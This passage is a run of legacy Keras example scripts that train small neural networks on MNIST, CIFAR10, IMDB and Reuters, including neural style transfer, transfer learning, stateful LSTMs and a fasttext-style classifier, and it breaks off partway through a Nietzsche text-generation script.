Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)

# build the model
model = Sequential()
model.add(Dense(256, input_shape=(784,)))
model.add(Antirectifier())
model.add(Dropout(0.1))
model.add(Dense(256))
model.add(Antirectifier())
model.add(Dropout(0.1))
model.add(Dense(10))
model.add(Activation('softmax'))

# compile the model
model.compile(loss='categorical_crossentropy',
              optimizer='rmsprop',
              metrics=['accuracy'])

# train the model
model.fit(X_train, Y_train,
          batch_size=batch_size, nb_epoch=nb_epoch,
          verbose=1, validation_data=(X_test, Y_test))

# next, compare with an equivalent network
# with2x bigger Dense layers and ReLU






'''Neural style transfer with Keras.

Before running this script, download the weights for the VGG16 model at:
https://drive.google.com/file/d/0Bz7KyqmuGsilT0J5dmRCM0ROVHc/view?usp=sharing
(source: https://gist.github.com/baraldilorenzo/07d7802847aaad0a35d3)
and make sure the variable `weights_path` in this script matches the location of the file.

Run the script with:
```
python neural_style_transfer.py path_to_your_base_image.jpg path_to_your_reference.jpg prefix_for_results
```
e.g.:
```
python neural_style_transfer.py img/tuebingen.jpg img/starry_night.jpg results/my_result
```

It is preferable to run this script on GPU, for speed.
If running on CPU, prefer the TensorFlow backend (much faster).

Example result: https://twitter.com/fchollet/status/686631033085677568

# Details

Style transfer consists in generating an image
with the same "content" as a base image, but with the
"style" of a different picture (typically artistic).

This is achieved through the optimization of a loss function
that has 3 components: "style loss", "content loss",
and "total variation loss":

- The total variation loss imposes local spatial continuity between
the pixels of the combination image, giving it visual coherence.

- The style loss is where the deep learning keeps in --that one is defined
using a deep convolutional neural network. Precisely, it consists in a sum of
L2 distances between the Gram matrices of the representations of
the base image and the style reference image, extracted from
different layers of a convnet (trained on ImageNet). The general idea
is to capture color/texture information at different spatial
scales (fairly large scales --defined by the depth of the layer considered).

 - The content loss is a L2 distance between the features of the base
image (extracted from a deep layer) and the features of the combination image,
keeping the generated image close enough to the original one.

# References
    - [A Neural Algorithm of Artistic Style](http://arxiv.org/abs/1508.06576)
'''

from __future__ import print_function
from scipy.misc import imread, imresize, imsave
import numpy as np
from scipy.optimize import fmin_l_bfgs_b
import time
import os
import argparse
import h5py

from keras.models import Sequential
from keras.layers import Convolution2D, ZeroPadding2D, MaxPooling2D
from keras import backend as K

parser = argparse.ArgumentParser(description='Neural style transfer with Keras.')
parser.add_argument('base_image_path', metavar='base', type=str,
                    help='Path to the image to transform.')
parser.add_argument('style_reference_image_path', metavar='ref', type=str,
                    help='Path to the style reference image.')
parser.add_argument('result_prefix', metavar='res_prefix', type=str,
                    help='Prefix for the saved results.')

args = parser.parse_args()
base_image_path = args.base_image_path
style_reference_image_path = args.style_reference_image_path
result_prefix = args.result_prefix
weights_path = 'vgg16_weights.h5'

# these are the weights of the different loss components
total_variation_weight = 1.
style_weight = 1.
content_weight = 0.025


# dimensions of the generated picture.
img_width = 400
img_height = 400
assert img_height == img_width, 'Due to the use of the Gram matrix, width and height must match.'

# util function to open, resize and format pictures into appropriate tensors
def preprocess_image(image_path):
    img = imresize(imread(image_path), (img_width, img_height))
    img = img[:, :, ::-1].astype('float64')
    img[:, :, 0] -= 103.939
    img[:, :, 1] -= 116.779
    img[:, :, 2] -= 123.68
    img = img.transpose((2, 0, 1))
    img = np.expand_dims(img, axis=0)
    return img

# util function to convert a tensor into a valid image
def deprocess_image(x):
    x = x.transpose((1, 2, 0))
    x[:, :, 0] += 103.939
    x[:, :, 1] += 116.779
    x[:, :, 2] += 123.68
    x = x[:, :, ::-1]
    x = np.clip(x, 0, 255).astype('uint8')
    return x

# get tensor representations of our images
base_image = K.variable(preprocess_image(base_image_path))
style_reference_image = K.variable(preprocess_image(style_reference_image_path))

# this will contain our generated image
combination_image = K.placeholder((1, 3, img_width, img_height))

# combine the 3 images into a single Keras tensor
input_tensor = K.concatenate([base_image,
                              style_reference_image,
                              combination_image], axis=0)

# build the VGG16 network with our 3 images as input
first_layer = ZeroPadding2D((1, 1))
first_layer.set_input(input_tensor, shape=(3, 3, img_width, img_height))

model = Sequential()
model.add(first_layer)
model.add(Convolution2D(64, 3, 3, activation='relu', name='conv1_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(64, 3, 3, activation='relu'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(128, 3, 3, activation='relu', name='conv2_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(128, 3, 3, activation='relu'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu', name='conv3_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(256, 3, 3, activation='relu'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv4_2'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu', name='conv5_1'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu'))
model.add(ZeroPadding2D((1, 1)))
model.add(Convolution2D(512, 3, 3, activation='relu'))
model.add(MaxPooling2D((2, 2), strides=(2, 2)))

# load the weights of the VGG16 networks
# (trained on ImageNet, won the ILSVRC competition in 2014)
# note: when there is a complete match between your model definition
# and your weight savefile, you can simply call model.load_weights(filename)
assert os.path.exists(weights_path), 'Model weights not found (see "weights_path" variable in script).'
f = h5py.File(weights_path)
for k in range(f.attrs['nb_layers']):
    if k >= len(model.layers):
        # we don't look at the last (fully-connected) layers in the savefile
        break
    g = f['layer_{}'.format(k)]
    weights = [g['param_{}'.format(p)] for p in range(g.attrs['nb_params'])]
    model.layers[k].set_weights(weights)
f.close()
print('Model loaded.')

# get the symbolic outputs of each "key" layer (we gave them unique names).
outputs_dict = dict([(layer.name, layer.output) for layer in model.layers])

# compute the neural style loss
# first we need to define 4 util functions

# the gram matrix of an image tensor (feature-wise outer product)
def gram_matrix(x):
    assert K.ndim(x) == 3
    features = K.batch_flatten(x)
    gram = K.dot(features, K.transpose(features))
    return gram

# the "style loss" is designed to maintain
# the style of the reference image in the generated image.
# It is based on the gram matrices (which capture style) of
# feature maps from the style reference image
# and from the generated image
def style_loss(style, combination):
    assert K.ndim(style) == 3
    assert K.ndim(combination) == 3
    S = gram_matrix(style)
    C = gram_matrix(combination)
    channels = 3
    size = img_width * img_height
    return K.sum(K.square(S - C)) / (4. * (channels ** 2) * (size ** 2))

# an auxiliary loss function
# designed to maintain the "content" of the
# base image in the generated image
def content_loss(base, combination):
    return K.sum(K.square(combination - base))

# the 3rd loss function, total variation loss,
# designed to keep the generated image locally coherent
def total_variation_loss(x):
    assert K.ndim(x) == 4
    a = K.square(x[:, :, :img_width-1, :img_height-1] - x[:, :, 1:, :img_height-1])
    b = K.square(x[:, :, :img_width-1, :img_height-1] - x[:, :, :img_width-1, 1:])
    return K.sum(K.pow(a + b, 1.25))

# combine these loss functions into a single scalar
loss = K.variable(0.)
layer_features = outputs_dict['conv4_2']
base_image_features = layer_features[0, :, :, :]
combination_features = layer_features[2, :, :, :]
loss += content_weight * content_loss(base_image_features,
                                      combination_features)

feature_layers = ['conv1_1', 'conv2_1', 'conv3_1', 'conv4_1', 'conv5_1']
for layer_name in feature_layers:
    layer_features = outputs_dict[layer_name]
    style_reference_features = layer_features[1, :, :, :]
    combination_features = layer_features[2, :, :, :]
    sl = style_loss(style_reference_features, combination_features)
    loss += (style_weight / len(feature_layers)) * sl
loss += total_variation_weight * total_variation_loss(combination_image)

# get the gradients of the generated image wrt the loss
grads = K.gradients(loss, combination_image)

outputs = [loss]
if type(grads) in {list, tuple}:
    outputs += grads
else:
    outputs.append(grads)

f_outputs = K.function([combination_image], outputs)
def eval_loss_and_grads(x):
    x = x.reshape((1, 3, img_width, img_height))
    outs = f_outputs([x])
    loss_value = outs[0]
    if len(outs[1:]) == 1:
        grad_values = outs[1].flatten().astype('float64')
    else:
        grad_values = np.array(outs[1:]).flatten().astype('float64')
    return loss_value, grad_values

# this Evaluator class makes it possible
# to compute loss and gradients in one pass
# while retrieving them via two separate functions,
# "loss" and "grads". This is done because scipy.optimize
# requires separate functions for loss and gradients,
# but computing them separately would be inefficient.
class Evaluator(object):
    def __init__(self):
        self.loss_value = None
        self.grads_values = None

    def loss(self, x):
        assert self.loss_value is None
        loss_value, grad_values = eval_loss_and_grads(x)
        self.loss_value = loss_value
        self.grad_values = grad_values
        return self.loss_value

    def grads(self, x):
        assert self.loss_value is not None
        grad_values = np.copy(self.grad_values)
        self.loss_value = None
        self.grad_values = None
        return grad_values

evaluator = Evaluator()

# run scipy-based optimization (L-BFGS) over the pixels of the generated image
# so as to minimize the neural style loss
x = np.random.uniform(0, 255, (1, 3, img_width, img_height))
x[0, 0, :, :] -= 103.939
x[0, 1, :, :] -= 116.779
x[0, 2, :, :] -= 123.68
for i in range(10):
    print('Start of iteration', i)
    start_time = time.time()
    x, min_val, info = fmin_l_bfgs_b(evaluator.loss, x.flatten(),
                                     fprime=evaluator.grads, maxfun=20)
    print('Current loss value:', min_val)
    # save current generated image
    img = deprocess_image(x.copy().reshape((3, img_width, img_height)))
    fname = result_prefix + '_at_iteration_%d.png' % i
    imsave(fname, img)
    end_time = time.time()
    print('Image saved as', fname)
    print('Iteration %d completed in %ds' % (i, end_time - start_time))






'''Trains and evaluate a simple MLP
on the Reuters newswire topic classification task.
'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.datasets import reuters
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation
from keras.utils import np_utils
from keras.preprocessing.text import Tokenizer

max_words = 1000
batch_size = 32
nb_epoch = 5

print('Loading data...')
(X_train, y_train), (X_test, y_test) = reuters.load_data(nb_words=max_words, test_split=0.2)
print(len(X_train), 'train sequences')
print(len(X_test), 'test sequences')

nb_classes = np.max(y_train)+1
print(nb_classes, 'classes')

print('Vectorizing sequence data...')
tokenizer = Tokenizer(nb_words=max_words)
X_train = tokenizer.sequences_to_matrix(X_train, mode='binary')
X_test = tokenizer.sequences_to_matrix(X_test, mode='binary')
print('X_train shape:', X_train.shape)
print('X_test shape:', X_test.shape)

print('Convert class vector to binary class matrix (for use with categorical_crossentropy)')
Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)
print('Y_train shape:', Y_train.shape)
print('Y_test shape:', Y_test.shape)

print('Building model...')
model = Sequential()
model.add(Dense(512, input_shape=(max_words,)))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(nb_classes))
model.add(Activation('softmax'))

model.compile(loss='categorical_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

history = model.fit(X_train, Y_train,
                    nb_epoch=nb_epoch, batch_size=batch_size,
                    verbose=1, validation_split=0.1)
score = model.evaluate(X_test, Y_test,
                       batch_size=batch_size, verbose=1)
print('Test score:', score[0])
print('Test accuracy:', score[1])






'''Example of how to use sklearn wrapper

Builds simple CNN models on MNIST and uses sklearn's GridSearchCV to find best model
'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Flatten
from keras.layers import Convolution2D, MaxPooling2D
from keras.utils import np_utils
from keras.wrappers.scikit_learn import KerasClassifier
from sklearn.grid_search import GridSearchCV


nb_classes = 10

# input image dimensions
img_rows, img_cols = 28, 28

# load training data and do basic data normalization
(X_train, y_train), (X_test, y_test) = mnist.load_data()
X_train = X_train.reshape(X_train.shape[0], 1, img_rows, img_cols)
X_test = X_test.reshape(X_test.shape[0], 1, img_rows, img_cols)
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255

# convert class vectors to binary class matrices
y_train = np_utils.to_categorical(y_train, nb_classes)
y_test = np_utils.to_categorical(y_test, nb_classes)

def make_model(dense_layer_sizes, nb_filters, nb_conv, nb_pool):
    '''Creates model comprised of 2 convolutional layers followed by dense layers

    dense_layer_sizes: List of layer sizes. This list has one number for each layer
    nb_filters: Number of convolutional filters in each convolutional layer
    nb_conv: Convolutional kernel size
    nb_pool: Size of pooling area for max pooling
    '''

    model = Sequential()

    model.add(Convolution2D(nb_filters, nb_conv, nb_conv,
                            border_mode='valid',
                            input_shape=(1, img_rows, img_cols)))
    model.add(Activation('relu'))
    model.add(Convolution2D(nb_filters, nb_conv, nb_conv))
    model.add(Activation('relu'))
    model.add(MaxPooling2D(pool_size=(nb_pool, nb_pool)))
    model.add(Dropout(0.25))

    model.add(Flatten())
    for layer_size in dense_layer_sizes:
        model.add(Dense(layer_size))
    model.add(Activation('relu'))
    model.add(Dropout(0.5))
    model.add(Dense(nb_classes))
    model.add(Activation('softmax'))

    model.compile(loss='categorical_crossentropy',
                  optimizer='adadelta',
                  metrics=['accuracy'])

    return model

dense_size_candidates = [[32], [64], [32, 32], [64, 64]]
my_classifier = KerasClassifier(make_model, batch_size=32)
validator = GridSearchCV(my_classifier,
                         param_grid={'dense_layer_sizes': dense_size_candidates,
                                     # nb_epoch is avail for tuning even when not
                                     # an argument to model building function
                                     'nb_epoch': [3, 6],
                                     'nb_filters': [8],
                                     'nb_conv': [3],
                                     'nb_pool': [2]},
                         scoring='log_loss',
                         n_jobs=1)
validator.fit(X_train, y_train)

print('The parameters of the best model are: ')
print(validator.best_params_)

# validator.best_estimator_ returns sklearn-wrapped version of best model.
# validator.best_estimator_.model returns the (unwrapped) keras model
best_model = validator.best_estimator_.model
metric_names = best_model.metrics_names
metric_values = best_model.evaluate(X_test, y_test)
for metric, value in zip(metric_names, metric_values):
    print(metric, ': ', value)






'''Trains a simple deep NN on the MNIST dataset.

Gets to 98.40% test accuracy after 20 epochs
(there is *a lot* of margin for parameter tuning).
2 seconds per epoch on a K520 GPU.
'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.datasets import mnist
from keras.models import Sequential
from keras.layers.core import Dense, Dropout, Activation
from keras.optimizers import SGD, Adam, RMSprop
from keras.utils import np_utils


batch_size = 128
nb_classes = 10
nb_epoch = 20

# the data, shuffled and split between train and test sets
(X_train, y_train), (X_test, y_test) = mnist.load_data()

X_train = X_train.reshape(60000, 784)
X_test = X_test.reshape(10000, 784)
X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255
print(X_train.shape[0], 'train samples')
print(X_test.shape[0], 'test samples')

# convert class vectors to binary class matrices
Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)

model = Sequential()
model.add(Dense(512, input_shape=(784,)))
model.add(Activation('relu'))
model.add(Dropout(0.2))
model.add(Dense(512))
model.add(Activation('relu'))
model.add(Dropout(0.2))
model.add(Dense(10))
model.add(Activation('softmax'))

model.summary()

model.compile(loss='categorical_crossentropy',
              optimizer=RMSprop(),
              metrics=['accuracy'])

history = model.fit(X_train, Y_train,
                    batch_size=batch_size, nb_epoch=nb_epoch,
                    verbose=1, validation_data=(X_test, Y_test))
score = model.evaluate(X_test, Y_test, verbose=0)
print('Test score:', score[0])
print('Test accuracy:', score[1])






'''Compare LSTM implementations on the IMDB sentiment classification task.

consume_less='cpu' preprocesses input to the LSTM which typically results in
faster computations at the expense of increased peak memory usage as the
preprocessed input must be kept in memory.

consume_less='mem' does away with the preprocessing, meaning that it might take
a little longer, but should require less peak memory.

consume_less='gpu' concatenates the input, output and forget gate's weights
into one, large matrix, resulting in faster computation time as the GPU can
utilize more cores, at the expense of reduced regularization because the same
dropout is shared across the gates.

Note that the relative performance of the different `consume_less` modes
can vary depending on your device, your model and the size of your data.
'''

import time
import numpy as np
import matplotlib.pyplot as plt

from keras.preprocessing import sequence
from keras.models import Sequential
from keras.layers import Embedding, Dense, LSTM
from keras.datasets import imdb

max_features = 20000
max_length = 80
embedding_dim = 256
batch_size = 128
epochs = 10
modes = ['cpu', 'mem', 'gpu']

print('Loading data...')
(X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features)
X_train = sequence.pad_sequences(X_train, max_length)
X_test = sequence.pad_sequences(X_test, max_length)

# Compile and train different models while meauring performance.
results = []
for mode in modes:
    print('Testing mode: consume_less="{}"'.format(mode))

    model = Sequential()
    model.add(Embedding(max_features, embedding_dim, input_length=max_length, dropout=0.2))
    model.add(LSTM(embedding_dim, dropout_W=0.2, dropout_U=0.2, consume_less=mode))
    model.add(Dense(1, activation='sigmoid'))
    model.compile(loss='binary_crossentropy',
                  optimizer='adam',
                  metrics=['accuracy'])

    start_time = time.time()
    history = model.fit(X_train, y_train,
                        batch_size=batch_size,
                        nb_epoch=epochs,
                        validation_data=(X_test, y_test))
    average_time_per_epoch = (time.time() - start_time) / epochs

    results.append((history, average_time_per_epoch))

# Compare models' accuracy, loss and elapsed time per epoch.
plt.style.use('ggplot')
ax1 = plt.subplot2grid((2, 2), (0, 0))
ax1.set_title('Accuracy')
ax1.set_ylabel('Validation Accuracy')
ax1.set_xlabel('Epochs')
ax2 = plt.subplot2grid((2, 2), (1, 0))
ax2.set_title('Loss')
ax2.set_ylabel('Validation Loss')
ax2.set_xlabel('Epochs')
ax3 = plt.subplot2grid((2, 2), (0, 1), rowspan=2)
ax3.set_title('Time')
ax3.set_ylabel('Seconds')
for mode, result in zip(modes, results):
    ax1.plot(result[0].epoch, result[0].history['val_acc'], label=mode)
    ax2.plot(result[0].epoch, result[0].history['val_loss'], label=mode)
ax1.legend()
ax2.legend()
ax3.bar(np.arange(len(results)), [x[1] for x in results],
        tick_label=modes, align='center')
plt.tight_layout()
plt.show()






'''Example script showing how to use stateful RNNs
to model long sequences efficiently.
'''
from __future__ import print_function
import numpy as np
import matplotlib.pyplot as plt
from keras.models import Sequential
from keras.layers import Dense, LSTM


# since we are using stateful rnn tsteps can be set to 1
tsteps = 1
batch_size = 25
epochs = 25
# number of elements ahead that are used to make the prediction
lahead = 1


def gen_cosine_amp(amp=100, period=1000, x0=0, xn=50000, step=1, k=0.0001):
    """Generates an absolute cosine time series with the amplitude
    exponentially decreasing

    Arguments:
        amp: amplitude of the cosine function
        period: period of the cosine function
        x0: initial x of the time series
        xn: final x of the time series
        step: step of the time series discretization
        k: exponential rate
    """
    cos = np.zeros(((xn - x0) * step, 1, 1))
    for i in range(len(cos)):
        idx = x0 + i * step
        cos[i, 0, 0] = amp * np.cos(2 * np.pi * idx / period)
        cos[i, 0, 0] = cos[i, 0, 0] * np.exp(-k * idx)
    return cos


print('Generating Data')
cos = gen_cosine_amp()
print('Input shape:', cos.shape)

expected_output = np.zeros((len(cos), 1))
for i in range(len(cos) - lahead):
    expected_output[i, 0] = np.mean(cos[i + 1:i + lahead + 1])

print('Output shape')
print(expected_output.shape)

print('Creating Model')
model = Sequential()
model.add(LSTM(50,
               batch_input_shape=(batch_size, tsteps, 1),
               return_sequences=True,
               stateful=True))
model.add(LSTM(50,
               batch_input_shape=(batch_size, tsteps, 1),
               return_sequences=False,
               stateful=True))
model.add(Dense(1))
model.compile(loss='mse', optimizer='rmsprop')

print('Training')
for i in range(epochs):
    print('Epoch', i, '/', epochs)
    model.fit(cos,
              expected_output,
              batch_size=batch_size,
              verbose=1,
              nb_epoch=1,
              shuffle=False)
    model.reset_states()

print('Predicting')
predicted_output = model.predict(cos, batch_size=batch_size)

print('Plotting Results')
plt.subplot(2, 1, 1)
plt.plot(expected_output)
plt.title('Expected')
plt.subplot(2, 1, 2)
plt.plot(predicted_output)
plt.title('Predicted')
plt.show()






'''This example demonstrates the use of fasttext for text classification

Based on Joulin et al's paper:

Bags of Tricks for Efficient Text Classification
https://arxiv.org/abs/1607.01759

Can achieve accuracy around 88% after 5 epochs in 70s.

'''

from __future__ import print_function
import numpy as np
np.random.seed(1337)  # for reproducibility

from keras.preprocessing import sequence
from keras.models import Sequential
from keras.layers import Dense, Flatten
from keras.layers import Embedding
from keras.layers import AveragePooling1D
from keras.datasets import imdb


# set parameters:
max_features = 20000
maxlen = 400
batch_size = 32
embedding_dims = 20
nb_epoch = 5

print('Loading data...')
(X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features)
print(len(X_train), 'train sequences')
print(len(X_test), 'test sequences')

print('Pad sequences (samples x time)')
X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
print('X_train shape:', X_train.shape)
print('X_test shape:', X_test.shape)

print('Build model...')
model = Sequential()

# we start off with an efficient embedding layer which maps
# our vocab indices into embedding_dims dimensions
model.add(Embedding(max_features,
                    embedding_dims,
                    input_length=maxlen))

# we add a AveragePooling1D, which will average the embeddings
# of all words in the document
model.add(AveragePooling1D(pool_length=model.output_shape[1]))

# We flatten the output of the AveragePooling1D layer
model.add(Flatten())

# We project onto a single unit output layer, and squash it with a sigmoid:
model.add(Dense(1, activation='sigmoid'))

model.compile(loss='binary_crossentropy',
              optimizer='adam',
              metrics=['accuracy'])

model.fit(X_train, y_train,
          batch_size=batch_size,
          nb_epoch=nb_epoch,
          validation_data=(X_test, y_test))






'''Train a simple deep CNN on the CIFAR10 small images dataset.

GPU run command:
    THEANO_FLAGS=mode=FAST_RUN,device=gpu,floatX=float32 python cifar10_cnn.py

It gets down to 0.65 test logloss in 25 epochs, and down to 0.55 after 50 epochs.
(it's still underfitting at that point, though).

Note: the data was pickled with Python 2, and some encoding issues might prevent you
from loading it in Python 3. You might have to load it in Python 2,
save it in a different format, load it in Python 3 and repickle it.
'''

from __future__ import print_function
from keras.datasets import cifar10
from keras.preprocessing.image import ImageDataGenerator
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Flatten
from keras.layers import Convolution2D, MaxPooling2D
from keras.optimizers import SGD
from keras.utils import np_utils

batch_size = 32
nb_classes = 10
nb_epoch = 200
data_augmentation = True

# input image dimensions
img_rows, img_cols = 32, 32
# the CIFAR10 images are RGB
img_channels = 3

# the data, shuffled and split between train and test sets
(X_train, y_train), (X_test, y_test) = cifar10.load_data()
print('X_train shape:', X_train.shape)
print(X_train.shape[0], 'train samples')
print(X_test.shape[0], 'test samples')

# convert class vectors to binary class matrices
Y_train = np_utils.to_categorical(y_train, nb_classes)
Y_test = np_utils.to_categorical(y_test, nb_classes)

model = Sequential()

model.add(Convolution2D(32, 3, 3, border_mode='same',
                        input_shape=(img_channels, img_rows, img_cols)))
model.add(Activation('relu'))
model.add(Convolution2D(32, 3, 3))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Dropout(0.25))

model.add(Convolution2D(64, 3, 3, border_mode='same'))
model.add(Activation('relu'))
model.add(Convolution2D(64, 3, 3))
model.add(Activation('relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Dropout(0.25))

model.add(Flatten())
model.add(Dense(512))
model.add(Activation('relu'))
model.add(Dropout(0.5))
model.add(Dense(nb_classes))
model.add(Activation('softmax'))

# let's train the model using SGD + momentum (how original).
sgd = SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)
model.compile(loss='categorical_crossentropy',
              optimizer=sgd,
              metrics=['accuracy'])

X_train = X_train.astype('float32')
X_test = X_test.astype('float32')
X_train /= 255
X_test /= 255

if not data_augmentation:
    print('Not using data augmentation.')
    model.fit(X_train, Y_train,
              batch_size=batch_size,
              nb_epoch=nb_epoch,
              validation_data=(X_test, Y_test),
              shuffle=True)
else:
    print('Using real-time data augmentation.')

    # this will do preprocessing and realtime data augmentation
    datagen = ImageDataGenerator(
        featurewise_center=False,  # set input mean to 0 over the dataset
        samplewise_center=False,  # set each sample mean to 0
        featurewise_std_normalization=False,  # divide inputs by std of the dataset
        samplewise_std_normalization=False,  # divide each input by its std
        zca_whitening=False,  # apply ZCA whitening
        rotation_range=0,  # randomly rotate images in the range (degrees, 0 to 180)
        width_shift_range=0.1,  # randomly shift images horizontally (fraction of total width)
        height_shift_range=0.1,  # randomly shift images vertically (fraction of total height)
        horizontal_flip=True,  # randomly flip images
        vertical_flip=False)  # randomly flip images

    # compute quantities required for featurewise normalization
    # (std, mean, and principal components if ZCA whitening is applied)
    datagen.fit(X_train)

    # fit the model on the batches generated by datagen.flow()
    model.fit_generator(datagen.flow(X_train, Y_train,
                        batch_size=batch_size),
                        samples_per_epoch=X_train.shape[0],
                        nb_epoch=nb_epoch,
                        validation_data=(X_test, Y_test))






'''Transfer learning toy example:

1- Train a simple convnet on the MNIST dataset the first 5 digits [0..4].
2- Freeze convolutional layers and fine-tune dense layers
   for the classification of digits [5..9].

Run on GPU: THEANO_FLAGS=mode=FAST_RUN,device=gpu,floatX=float32 python mnist_transfer_cnn.py

Get to 99.8% test accuracy after 5 epochs
for the first five digits classifier
and 99.2% for the last five digits after transfer + fine-tuning.
'''

from __future__ import print_function
import numpy as np
import datetime

np.random.seed(1337)  # for reproducibility

from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation, Flatten
from keras.layers import Convolution2D, MaxPooling2D
from keras.utils import np_utils


now = datetime.datetime.now

batch_size = 128
nb_classes = 5
nb_epoch = 5

# input image dimensions
img_rows, img_cols = 28, 28
# number of convolutional filters to use
nb_filters = 32
# size of pooling area for max pooling
nb_pool = 2
# convolution kernel size
nb_conv = 3


def train_model(model, train, test, nb_classes):
    X_train = train[0].reshape(train[0].shape[0], 1, img_rows, img_cols)
    X_test = test[0].reshape(test[0].shape[0], 1, img_rows, img_cols)
    X_train = X_train.astype('float32')
    X_test = X_test.astype('float32')
    X_train /= 255
    X_test /= 255
    print('X_train shape:', X_train.shape)
    print(X_train.shape[0], 'train samples')
    print(X_test.shape[0], 'test samples')

    # convert class vectors to binary class matrices
    Y_train = np_utils.to_categorical(train[1], nb_classes)
    Y_test = np_utils.to_categorical(test[1], nb_classes)

    model.compile(loss='categorical_crossentropy',
                  optimizer='adadelta',
                  metrics=['accuracy'])

    t = now()
    model.fit(X_train, Y_train,
              batch_size=batch_size, nb_epoch=nb_epoch,
              verbose=1,
              validation_data=(X_test, Y_test))
    print('Training time: %s' % (now() - t))
    score = model.evaluate(X_test, Y_test, verbose=0)
    print('Test score:', score[0])
    print('Test accuracy:', score[1])


# the data, shuffled and split between train and test sets
(X_train, y_train), (X_test, y_test) = mnist.load_data()

# create two datasets one with digits below 5 and one with 5 and above
X_train_lt5 = X_train[y_train < 5]
y_train_lt5 = y_train[y_train < 5]
X_test_lt5 = X_test[y_test < 5]
y_test_lt5 = y_test[y_test < 5]

X_train_gte5 = X_train[y_train >= 5]
y_train_gte5 = y_train[y_train >= 5] - 5  # make classes start at 0 for
X_test_gte5 = X_test[y_test >= 5]         # np_utils.to_categorical
y_test_gte5 = y_test[y_test >= 5] - 5

# define two groups of layers: feature (convolutions) and classification (dense)
feature_layers = [
    Convolution2D(nb_filters, nb_conv, nb_conv,
                  border_mode='valid',
                  input_shape=(1, img_rows, img_cols)),
    Activation('relu'),
    Convolution2D(nb_filters, nb_conv, nb_conv),
    Activation('relu'),
    MaxPooling2D(pool_size=(nb_pool, nb_pool)),
    Dropout(0.25),
    Flatten(),
]
classification_layers = [
    Dense(128),
    Activation('relu'),
    Dropout(0.5),
    Dense(nb_classes),
    Activation('softmax')
]

# create complete model
model = Sequential()
for l in feature_layers + classification_layers:
    model.add(l)

# train model for 5-digit classification [0..4]
train_model(model,
            (X_train_lt5, y_train_lt5),
            (X_test_lt5, y_test_lt5), nb_classes)

# freeze feature layers and rebuild model
for l in feature_layers:
    l.trainable = False

# transfer: train dense layers for new classification task [5..9]
train_model(model,
            (X_train_gte5, y_train_gte5),
            (X_test_gte5, y_test_gte5), nb_classes)






'''Example script to generate text from Nietzsche's writings.

At least 20 epochs are required before the generated text
starts sounding coherent.

It is recommended to run this script on GPU, as recurrent
networks are quite computationally intensive.

If you try this script on new data, make sure your corpus
has at least ~100k characters. ~1M is better.
'''

from __future__ import print_function
from keras.models import Sequential
from keras.layers import Dense, Activation, Dropout
from keras.layers import LSTM
from keras.optimizers import RMSprop
from keras.utils.data_utils import get_file
import numpy as np
import random
import sys

path = get_file('nietzsche.txt', origin="https://s3.amazonaws.com/text-datasets/nietzsche.txt")
text = open(path).read().lower()
print('corpus length:', len(text))

chars = sorted(list(set(text)))
print('total chars:', len(chars))
char_indices = dict((c, i) for i, c in enumerate(chars))
indices_char = dict((i, c) for i, c in enumerate(chars))

# cut the text in semi-redundant sequences of maxlen characters
maxlen = 40
step = 3
sentences = []
next_chars = []
for i in range(0, len(text) - maxlen, step):
    sentences.append(text[i: i + maxlen])
    next_chars.append(text[i + maxlen])
print('nb sequences:', len(sentences))

print('Vectorization...')
X = np.zeros((len(sentences), maxlen, len(chars)), dtype=np.bool)
y = np.zeros((len(sentences), len(chars)), dtype=np.bool)
for i, sentence in enumerate(sentences):
    for t, char in enumerate(sentence):
        X[i, t, char_indices[char]] = 1
    y[i, char_indices[next_chars[i]]] = 1


# build the model: a single LSTM
print('Build model...')
model = Sequential()
model.add(LSTM(128, input_shape=(maxlen, len(chars))))
model.add(Dense(len(chars)))
model.add(Activation('softmax'))

optimizer = RMSprop(lr=0.01)
model.compile(loss='categorical_crossentropy', optimizer=optimizer)


def sample(preds, temperature=1.0):
    # helper function to sample an index from a probability array
    preds = np.asarray(preds).astype('float64')
    preds = np.log(preds) / temperature
